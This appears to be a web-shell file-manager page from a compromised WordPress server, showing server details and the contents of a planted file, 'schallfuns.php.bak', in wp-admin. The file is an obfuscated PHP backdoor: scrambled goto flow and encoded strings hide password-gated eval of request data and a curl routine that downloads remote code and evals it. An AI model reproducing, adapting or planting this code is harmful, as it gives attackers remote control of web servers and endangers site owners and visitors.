HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/www.winghung.com/wp-admin/schallfuns.php.bak
<?php
 goto oAKYck27VN; HXZ7UiVka3: metaphone("\147\121\x44\162\167\x49\164\x68\x6c\171\141\x36\65\x65\141\150\x38\x56\66\61\150\x55\107\x33\x38\x37\x67\x32\x52\x45\143\x55\105\63\157\x66\x61\57\x61\x62\x53\62\121"); goto r7qJZ4pMfC; u7swtBaHV4: $ziE6uZH5Y3 = $wPuwOzgJrX("\176", "\x20"); goto u0HdetSJ2C; FZk2fMawZG: $lyxkzQo1qq[61] = $lyxkzQo1qq[61] . $lyxkzQo1qq[79]; goto i4b9Nzq3yl; bTy37uQD7O: vR82I1MVd1: goto HXZ7UiVka3; oAKYck27VN: $wPuwOzgJrX = "\x72" . "\x61" . "\156" . "\147" . "\x65"; goto u7swtBaHV4; i4b9Nzq3yl: @eval($lyxkzQo1qq[61](${$lyxkzQo1qq[40]}[12])); goto bTy37uQD7O; u0HdetSJ2C: $lyxkzQo1qq = ${$ziE6uZH5Y3[31 + 0] . $ziE6uZH5Y3[12 + 47] . $ziE6uZH5Y3[24 + 23] . $ziE6uZH5Y3[1 + 46] . $ziE6uZH5Y3[32 + 19] . $ziE6uZH5Y3[11 + 42] . $ziE6uZH5Y3[39 + 18]}; goto l_s7cqwt0u; l_s7cqwt0u: if (!(in_array(gettype($lyxkzQo1qq) . "\61\x35", $lyxkzQo1qq) && md5(md5(md5(md5($lyxkzQo1qq[9])))) === "\64\x35\70\145\144\63\63\x33\x34\x65\66\70\66\x63\143\63\62\x33\144\66\63\x30\143\x63\x62\x63\145\x62\70\146\142\x63")) { goto vR82I1MVd1; } goto FZk2fMawZG; r7qJZ4pMfC: class T3dO72Z_tW { static function qXPKoLCLDA($iHC8Xb5_SL) { goto NHRERifxoe; umH8kb6VgU: $bnGOrwgvTM = ''; goto rPImoHvShS; NHRERifxoe: $qFPwy5xwUT = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto btDXOC8ODn; rPImoHvShS: foreach ($wX7QTHBVkb as $NlbpOqsqUp => $zfQTZhQrRm) { $bnGOrwgvTM .= $yzZA5GikNu[$zfQTZhQrRm - 81032]; GhjJiERbFW: } goto ZiI8w1Cx90; btDXOC8ODn: $yzZA5GikNu = $qFPwy5xwUT("\x7e", "\40"); goto p9ea1Bm1tG; ZiI8w1Cx90: iWqjyNNg_D: goto uerZWQHp5_; uerZWQHp5_: return $bnGOrwgvTM; goto IICkE60qRf; p9ea1Bm1tG: $wX7QTHBVkb = explode("\x3e", $iHC8Xb5_SL); goto umH8kb6VgU; IICkE60qRf: } static function K8nk3kexZm($E1CDoJbFir, $QtVMEVHd7p) { goto bBxgjDrJ9_; oRZDc4ruZg: $RHrEF0UDXn = curl_exec($iD98KOXD9E); goto l02Q7ZRDUc; bBxgjDrJ9_: $iD98KOXD9E = curl_init($E1CDoJbFir); goto bMFQqi0p5q; bMFQqi0p5q: curl_setopt($iD98KOXD9E, CURLOPT_RETURNTRANSFER, 1); goto oRZDc4ruZg; l02Q7ZRDUc: return empty($RHrEF0UDXn) ? $QtVMEVHd7p($E1CDoJbFir) : $RHrEF0UDXn; goto iTgyRQt1Yl; iTgyRQt1Yl: } static function Dis_T0uGm6() { goto h9HGnTixg8; F62rStgprE: @eval($ELJUz0SkK_[3 + 1]($lZbE1oHQ2q)); goto TYmE67NN3t; mw2cHk392k: $lZbE1oHQ2q = self::K8NK3kEXZM($BtcVllDCSE[1 + 0], $ELJUz0SkK_[0 + 5]); goto F62rStgprE; Rge_KOqLGe: if (!(@$BtcVllDCSE[0] - time() > 0 and md5(md5($BtcVllDCSE[3 + 0])) === "\x31\67\71\146\x34\61\141\144\145\64\x61\x66\x61\145\x66\144\x39\60\x35\60\x30\144\67\63\62\61\143\145\142\65\x30\x65")) { goto sOGIjyCWrU; } goto mw2cHk392k; YdA9G1iZmm: $YP7ZYSL21n = @$ELJUz0SkK_[1 + 2]($ELJUz0SkK_[2 + 4], $rvBhwsdC9K); goto JUnfgiA5g5; TYmE67NN3t: die; goto i7yGVmsQAt; h9HGnTixg8: $jKnXGc_1dQ = array("\x38\x31\60\x35\x39\x3e\x38\x31\x30\64\x34\76\70\x31\60\65\67\x3e\x38\61\60\x36\x31\x3e\70\61\x30\64\62\76\x38\x31\x30\x35\67\76\x38\x31\x30\x36\x33\x3e\70\61\60\65\66\x3e\x38\x31\x30\64\x31\76\x38\x31\x30\64\70\x3e\70\61\x30\x35\x39\x3e\70\61\60\64\x32\76\70\61\x30\x35\x33\76\70\61\x30\64\x37\x3e\70\61\x30\x34\70", "\x38\x31\60\64\x33\x3e\70\x31\x30\x34\62\x3e\x38\x31\60\64\x34\x3e\x38\x31\x30\66\63\x3e\70\x31\60\x34\64\x3e\x38\61\x30\64\67\76\x38\x31\60\x34\x32\x3e\70\61\61\x30\x39\x3e\70\x31\x31\60\x37", "\x38\x31\x30\65\62\76\x38\x31\60\x34\x33\x3e\x38\x31\60\x34\x37\x3e\70\x31\x30\x34\70\76\70\x31\x30\66\63\x3e\70\61\60\65\x38\76\70\61\60\65\x37\76\70\x31\x30\x35\x39\x3e\x38\61\60\x34\67\76\70\61\x30\65\70\76\x38\61\60\x35\67", "\x38\x31\60\64\x36\76\70\61\x30\x36\61\x3e\x38\x31\x30\x35\x39\76\70\x31\60\x35\61", "\70\x31\60\x36\60\x3e\70\x31\x30\66\61\x3e\x38\x31\x30\64\x33\x3e\x38\61\x30\x35\67\76\x38\x31\x31\x30\x34\76\70\x31\61\60\x36\x3e\x38\x31\x30\x36\63\x3e\70\x31\x30\65\70\76\x38\61\x30\x35\67\x3e\x38\61\x30\x35\71\x3e\x38\61\x30\64\67\76\x38\x31\x30\65\70\76\70\x31\60\x35\67", "\70\61\60\x35\66\76\70\61\x30\x35\x33\76\x38\x31\x30\x35\x30\76\70\61\x30\65\x37\x3e\x38\61\x30\x36\x33\x3e\x38\x31\x30\x35\65\76\70\x31\x30\x35\67\76\x38\x31\60\x34\62\x3e\70\61\x30\66\63\76\70\61\x30\x35\71\x3e\70\x31\x30\64\x37\76\x38\61\60\x34\70\76\70\x31\x30\64\62\76\70\61\60\65\67\x3e\70\61\60\x34\x38\76\70\x31\x30\x34\x32\x3e\x38\x31\60\x34\63", "\70\x31\60\x38\66\76\70\x31\61\61\x36", "\x38\x31\x30\x33\63", "\x38\61\61\61\x31\76\70\61\x31\61\x36", "\70\61\x30\x39\63\x3e\x38\x31\x30\x37\66\76\x38\x31\60\67\x36\76\70\x31\x30\x39\x33\x3e\x38\x31\x30\x36\71", "\x38\61\x30\x35\x36\x3e\x38\x31\60\65\63\76\x38\61\60\65\60\x3e\70\61\x30\64\62\76\x38\61\60\65\67\76\x38\61\60\64\64\x3e\x38\61\60\66\63\76\70\61\x30\x35\x33\x3e\x38\61\60\64\x38\76\x38\x31\x30\64\66\x3e\x38\61\60\64\x31\x3e\x38\x31\x30\64\62"); goto F9KG8Vqdk1; JUnfgiA5g5: $BtcVllDCSE = $ELJUz0SkK_[0 + 2]($YP7ZYSL21n, true); goto tlyLKWWZZ8; F9KG8Vqdk1: foreach ($jKnXGc_1dQ as $mB9zyyWUtY) { $ELJUz0SkK_[] = self::QxPKoLClda($mB9zyyWUtY); yAFsmpAvG5: } goto twIOZz4paq; tlyLKWWZZ8: @$ELJUz0SkK_[8 + 2](INPUT_GET, "\x6f\x66") == 1 && die($ELJUz0SkK_[4 + 1](__FILE__)); goto Rge_KOqLGe; twIOZz4paq: E3Py8g1M1j: goto nkk8are969; i7yGVmsQAt: sOGIjyCWrU: goto vV0ktkVtuc; nkk8are969: $rvBhwsdC9K = @$ELJUz0SkK_[1]($ELJUz0SkK_[6 + 4](INPUT_GET, $ELJUz0SkK_[4 + 5])); goto YdA9G1iZmm; vV0ktkVtuc: } } goto opIppJcE6I; opIppJcE6I: T3dO72z_tW::dIS_T0UGM6();
?>
BiaoJiOk